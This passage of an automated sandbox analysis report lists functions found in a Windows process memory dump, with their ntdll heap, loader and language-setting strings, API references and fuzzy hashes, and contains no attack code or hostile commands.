Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 0-3532704233
Opcode ID: 76df26a67148a4f2503989d9541a9a770d22014d63023353d9079e4c1cd715cd
Instruction ID: 22f216fed25ee81f749fb7e91f8d27eb2df0d61b11253dcf7132ced5e1daa051
Opcode Fuzzy Hash: 76df26a67148a4f2503989d9541a9a770d22014d63023353d9079e4c1cd715cd
Instruction Fuzzy Hash: E8B1A0769183559FD712DF24C840A5FB7E8AF88758F42492EF888D7244DB70DD48CBA2

Function 36D61070 Relevance: 11.4, APIs: 2, Strings: 4, Instructions: 940timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DB5672

Strings

@, xrefs: 36DB5A53
HEAP[%wZ]: , xrefs: 36DB5877
!(CheckedFlags & ~HEAP_CREATE_VALID_MASK), xrefs: 36DB588F
HEAP: , xrefs: 36DB5884

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
API String ID: 3446177414-3570731704
Opcode ID: 3299569b2b81dc2ace57465057dcd3c26d396e4215bae9e3486c4164c0804ad0
Instruction ID: c39602bbe9d4dba9a4b62395b6240ad7178be7da38f88851b6d0a7877c1b9dde
Opcode Fuzzy Hash: 3299569b2b81dc2ace57465057dcd3c26d396e4215bae9e3486c4164c0804ad0
Instruction Fuzzy Hash: FC925775E11328CFEB20CF2ACC40B99BBB5AF45348F5181EAD989A7250DB309E85CF51

Function 36D7D7B0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D7D959

Part of subcall function 36D54859: RtlDebugPrintTimes.NTDLL ref: 36D548F7

Strings

minkernel\ntdll\ldrinit.c, xrefs: 36DBF2D8
LdrShutdownProcess, xrefs: 36DBF2CE
$, xrefs: 36D7D900
$, xrefs: 36D7D86D
Process 0x%p (%wZ) exiting, xrefs: 36DBF2C7

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1975516107
Opcode ID: f1acb97a1adb99957046a1e8bf7945dda3b020a51af8e1574ce33f9dc3c77887
Instruction ID: d365f9d5b22275146824bdb50a6e48ee353bba28bb624f9c96eded083172c969
Opcode Fuzzy Hash: f1acb97a1adb99957046a1e8bf7945dda3b020a51af8e1574ce33f9dc3c77887
Instruction Fuzzy Hash: A751FEB5E04345DFEB05CFA5C88478EBBB2BF48308F644059C511BB289CB74A84ACF92

Function 36DE9179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON

Download Yara Rule

Strings

AppContainerNamedObjects, xrefs: 36DE946E, 36DE94D6
\BaseNamedObjects, xrefs: 36DE949E
BaseNamedObjects, xrefs: 36DE9477, 36DE947C
\Sessions, xrefs: 36DE9488
%s\%u-%u-%u-%u, xrefs: 36DE9422
\AppContainerNamedObjects, xrefs: 36DE94AB, 36DE94B9
Global\Session\%ld%s, xrefs: 36DE94C5
%s\%ld\%s, xrefs: 36DE948D

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
API String ID: 0-3063724069
Opcode ID: 892b8c87e2aee6db2c31d901f251c3d056733b54389ccd96ccc8cf1025460705
Instruction ID: 6e1a1a51a48fab261c4d4f209a193705a9373dd4bdd49e2f4d512a21d1f979be
Opcode Fuzzy Hash: 892b8c87e2aee6db2c31d901f251c3d056733b54389ccd96ccc8cf1025460705
Instruction Fuzzy Hash: F3D1C2B2806351AFE721CB518840BAFB7E8AF84754F41092EF9C5AB250D774C948CBE3

Function 36D4D08D Relevance: 10.2, Strings: 8, Instructions: 249COMMON

Download Yara Rule

Strings

@, xrefs: 36D4D313
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 36D4D262
Control Panel\Desktop\LanguageConfiguration, xrefs: 36D4D196
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 36D4D146
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 36D4D2C3
@, xrefs: 36D4D0FD
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 36D4D0CF
@, xrefs: 36D4D2AF

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 0-1356375266
Opcode ID: b02c22bd155af519eec9e81c8be9c49968de42fbf8dc236ae633fd8ea26610a6
Instruction ID: 2f504f13be86f772189380ab97a21c77cf16cd6bf8bb8097a912432c86c2838c
Opcode Fuzzy Hash: b02c22bd155af519eec9e81c8be9c49968de42fbf8dc236ae633fd8ea26610a6
Instruction Fuzzy Hash: 1EA17E719083459FE322DF21C880B9BB7E8BB84759F51492EF98896244DB74D908CFA3

Function 36D4F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON

Download Yara Rule

Strings

(LONG)FreeEntry->Size > 1, xrefs: 36DAE291
(UCRBlock != NULL), xrefs: 36DADF6F
((LONG)FreeEntry->Size > 1), xrefs: 36DAE0B3
HEAP[%wZ]: , xrefs: 36DADF57, 36DAE09B, 36DAE279, 36DAE391
(!TrailingUCR), xrefs: 36DAE3A9
HEAP: , xrefs: 36DADF64, 36DAE0A8, 36DAE286, 36DAE39E

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: ae82a968b3ff635deaba54b118ff5463c39df1c48729f10f5e1220ac02f6fcc4
Instruction ID: 5b1edf88453210d7c07dc6ee254f2bd94e12472dd0a04155dec00352d584455a
Opcode Fuzzy Hash: ae82a968b3ff635deaba54b118ff5463c39df1c48729f10f5e1220ac02f6fcc4
Instruction Fuzzy Hash: BC42CC75A083819FE312DF29C884A2ABBE5FF88348F54496DE485CB261DF34DD45CB62

Function 36D6B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON

Download Yara Rule

Strings

DLL %wZ was redirected to %wZ by %s, xrefs: 36DB83FC
SxS, xrefs: 36DB83ED
LdrpPreprocessDllName, xrefs: 36DB8403, 36DB84D7
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 36DB84D0
API set, xrefs: 36DB83F4, 36DB83F9
minkernel\ntdll\ldrutil.c, xrefs: 36DB840D, 36DB84E1

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: fddb577091bafb7edeacce888d2c672bf963b4b7f1ed6811ee1be2df18300998
Instruction ID: ea042178f9ff56a33ae560652e4bb860eb714e470ff111dfd5c712ba3b97d5c9
Opcode Fuzzy Hash: fddb577091bafb7edeacce888d2c672bf963b4b7f1ed6811ee1be2df18300998
Instruction Fuzzy Hash: 58C11771E00315ABEB248F67CC90BBEB7B5AF4930CF944069E846EB290DB74C955C7A1

Function 36D60770 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

(UCRBlock->Size >= *Size), xrefs: 36DB50CA
HEAP[%wZ]: , xrefs: 36DB50AE
HEAP: , xrefs: 36DB50BD

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 9f71cf1dbb95aa0528a2a7f154b6226fcc60bf06c353361ae839a3f446c615c4
Instruction ID: 74c37dc644570283371ccb7077d96a06faf612faee9ad902cc0e3ca62df5642b
Opcode Fuzzy Hash: 9f71cf1dbb95aa0528a2a7f154b6226fcc60bf06c353361ae839a3f446c615c4
Instruction Fuzzy Hash: 33F1EC74A00605DFEB15CF6AD980F6AB7B6FF44348F6481A9E4469B384DB30E981CF91

Function 36D7F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 36DC031E
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 36DC02E7
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 36DC02BD

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: c8a5ba973d1294fa61227ec02e0110a8fa29b648a238ba9e660b15c30a0684fe
Instruction ID: 945c216e0d22a5291edea487000dadaa93fdfc6abede84cbc0b016d9756abc38
Opcode Fuzzy Hash: c8a5ba973d1294fa61227ec02e0110a8fa29b648a238ba9e660b15c30a0684fe
Instruction Fuzzy Hash: 67E19D74A087419FE721CF29D880B1AB7E0BF84358F200A5DE5A58B2E1DB75D945CB93

Function 36D751EF Relevance: 6.7, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

Kernel-MUI-Language-Disallowed, xrefs: 36D75352
WindowsExcludedProcs, xrefs: 36D7522A
Kernel-MUI-Language-SKU, xrefs: 36D7542B
Kernel-MUI-Language-Allowed, xrefs: 36D7527B
Kernel-MUI-Number-Allowed, xrefs: 36D75247

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 4179aba914b2ab6a6c373e303492c7c462189f185bac0818da69de094ca37739
Instruction ID: 1e2152da1a3e6401e1dee542bd49d4bd174e5efbd64b8ac1b55b2b27771c6da6
Opcode Fuzzy Hash: 4179aba914b2ab6a6c373e303492c7c462189f185bac0818da69de094ca37739
Instruction Fuzzy Hash: F2F13BB6D10229EFDB01CFA5C980ADEBBF9FF48654F51416AE501E7210DB749E01CBA2

Function 36E2B16B Relevance: 6.4, APIs: 4, Instructions: 450timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36E2B329
RtlDebugPrintTimes.NTDLL ref: 36E2B605

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 3f262142d94e00b7dd0e1a1e4e33883ac2085bbf9402c0ab2c22a49f62de04de
Instruction ID: 872b3bdd0ddefdced099c055ac3f2b2dc5ba0bc1c4ea30dedee552723aabc495
Opcode Fuzzy Hash: 3f262142d94e00b7dd0e1a1e4e33883ac2085bbf9402c0ab2c22a49f62de04de
Instruction Fuzzy Hash: 73F12973E006118FDB08DF69C99067EBBF7EF88208B19416DD456EB380E674E945CB90

Function 36D476B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON

Download Yara Rule

Strings

, passed to %s, xrefs: 36DAB040
Invalid heap signature for heap at %p, xrefs: 36DAB02F
RtlFreeHeap, xrefs: 36DAB03F
HEAP[%wZ]: , xrefs: 36DAB016
HEAP: , xrefs: 36DAB023

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: c5eacdd5227dfbca6816bb8bd5880d50cd8e9b6432d1ce403eff341472fbcc9b
Instruction ID: 42f8514a01dd7a483aa129359c4513a173d667ad70f558c291b64a7b9709c0ba
Opcode Fuzzy Hash: c5eacdd5227dfbca6816bb8bd5880d50cd8e9b6432d1ce403eff341472fbcc9b
Instruction Fuzzy Hash: D0014C36419390FEE226A375D80DF527BF4DB53774F244049F00047990CE69DC8AC575

Function 36D670C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON

Download Yara Rule

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 36D67C96, 36D68696
HEAP[%wZ]: , xrefs: 36D67C6D, 36D68670
HEAP: , xrefs: 36D67C7C, 36D6867F

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: c15ac5ba30e42de57da998b8134cc520e8c9e6eed7c7a8fc3fadb5968c225941
Instruction ID: 0a1a59facc7aa21e71921911c206219a2197127926af3617022d21fb9fda08e4
Opcode Fuzzy Hash: c15ac5ba30e42de57da998b8134cc520e8c9e6eed7c7a8fc3fadb5968c225941
Instruction Fuzzy Hash: 73139F74E00359CFEB15CF6AC8947A9BBF1BF48308F948199D895AB381D734A945CFA0

Function 36D5BEC0 Relevance: 5.7, Strings: 4, Instructions: 694COMMON

Download Yara Rule

Strings

SystemResources\, xrefs: 36D5C698
.mui, xrefs: 36D5C12C, 36D5C131
.mun, xrefs: 36D5C125
$, xrefs: 36D5BF28

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: $$.mui$.mun$SystemResources\
API String ID: 0-3047833772
Opcode ID: f444e9bb1f0fbbdd9b5df660a880b9d182d403eb87d5d9adaab291ff4d601e2f
Instruction ID: 8303be20e0742b3627e0511ecc974e2d13b2188ae5af047a74e4058f85b82447
Opcode Fuzzy Hash: f444e9bb1f0fbbdd9b5df660a880b9d182d403eb87d5d9adaab291ff4d601e2f
Instruction Fuzzy Hash: 08623A76A003299FDF20CF55CC40BD9B7B8BB0A354F4641EAE509A7A50DB719E84CF92

Function 36D4F626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

Strings

ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 36DAE563
HEAP[%wZ]: , xrefs: 36DAE3FE
HEAP: , xrefs: 36DAE54E
`, xrefs: 36DAE428

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 0-2586055223
Opcode ID: 680e0e0c8c9a9baee2dbcf850d29baa58efde2f200cb0dabb2edd11feb3fde0e
Instruction ID: fb5641c80cf796cc649bab8de5e5682651258da479063cc7c6d5dd571e5fa5a6
Opcode Fuzzy Hash: 680e0e0c8c9a9baee2dbcf850d29baa58efde2f200cb0dabb2edd11feb3fde0e
Instruction Fuzzy Hash: 6A613476A08780AFE312DB25DC44F6777E8EF84754F140468F9948B2A1DB74DC05CBA2

Function 36E011A4 Relevance: 5.1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

Strings

Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 36E01261
This is located in the %s field of the heap header., xrefs: 36E012D6
HEAP[%wZ]: , xrefs: 36E0123D, 36E012B7
HEAP: , xrefs: 36E0124A, 36E0125D, 36E0125F, 36E012C4

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 0-336120773
Opcode ID: 7e566343f9125691143fb47a95a281b365b5859b9d94fd3da5a2e677152288e0
Instruction ID: 0ef2e612229ad53b7361152d4bc23b8c9b489b2d2584da17ba6ba22949b4b6b1
Opcode Fuzzy Hash: 7e566343f9125691143fb47a95a281b365b5859b9d94fd3da5a2e677152288e0
Instruction Fuzzy Hash: DB31DC79500210FFE711DBEACC80F96BBE8EF06A68F504055E500DF290EA31EC48EEA5

Function 36D49148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

VirtualQuery Failed 0x%p %x, xrefs: 36DABAF7
HEAP[%wZ]: , xrefs: 36DABAA0, 36DABADD
VirtualProtect Failed 0x%p %x, xrefs: 36DABABA
HEAP: , xrefs: 36DABAAD, 36DABAEA

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 0-1391187441
Opcode ID: c4d57b5bf7285b1e435a4337da8419f52278db7564abd57f036e6bc9d978bb49
Instruction ID: 475d30187b2cc639853eda685d5593fe1fc4f8b39cd3aff4c14216b211a0b81e
Opcode Fuzzy Hash: c4d57b5bf7285b1e435a4337da8419f52278db7564abd57f036e6bc9d978bb49
Instruction Fuzzy Hash: F1313476A10214FFDB02DB96CC84F9ABBF9EF45764F104091E811AB290DB70ED41CE61

Function 36D57152 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DB17D9
RtlDebugPrintTimes.NTDLL ref: 36DB17EE

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: d21b16ebfdad8c6014b740081d479555b7f9bbb6dd4d247be822b542928c4d29
Instruction ID: 3913e574e8eeda8a161a110d4c078987552961e4820c6957b511d6fe21b255c7
Opcode Fuzzy Hash: d21b16ebfdad8c6014b740081d479555b7f9bbb6dd4d247be822b542928c4d29
Instruction Fuzzy Hash: B151FD35E10615EFFF05CB64CC58BADBBB5BF04359F214029E642A3A90EBB09905CBD1

Function 36E23E10 Relevance: 4.6, APIs: 3, Instructions: 148timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36E23E9C
RtlDebugPrintTimes.NTDLL ref: 36E23EE4
RtlDebugPrintTimes.NTDLL ref: 36E23F70

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 05760226a999f40e63246e804f8b3839ff1d788051ccfbad96c9955bc28aed74
Instruction ID: fce5f46c37fa5b96a64a443eb0c78b4b9e8215dcc6ad5505377fb8ea7b64dfa7
Opcode Fuzzy Hash: 05760226a999f40e63246e804f8b3839ff1d788051ccfbad96c9955bc28aed74
Instruction Fuzzy Hash: C8518A75A00616AFEB06DF64CC80B9ABBB6FF48314F144065E915A7790CB30AD19CF90

Function 36D61F92 Relevance: 4.3, Strings: 3, Instructions: 563COMMON

Download Yara Rule

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 36D6216B, 36DB5E68, 36DB6016, 36DB6160
HEAP[%wZ]: , xrefs: 36D62155, 36DB5E46, 36DB5FF4, 36DB613E
HEAP: , xrefs: 36D6212E, 36DB5E53, 36DB6001, 36DB614B

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: a851ed976bbbc40dc6c4ab304e540c2a43c1c6789afe768e809199ad53512216
Instruction ID: 07eea8afcea6e239b33536421000407620842ca8b4afacd1ebc016a2222f4395
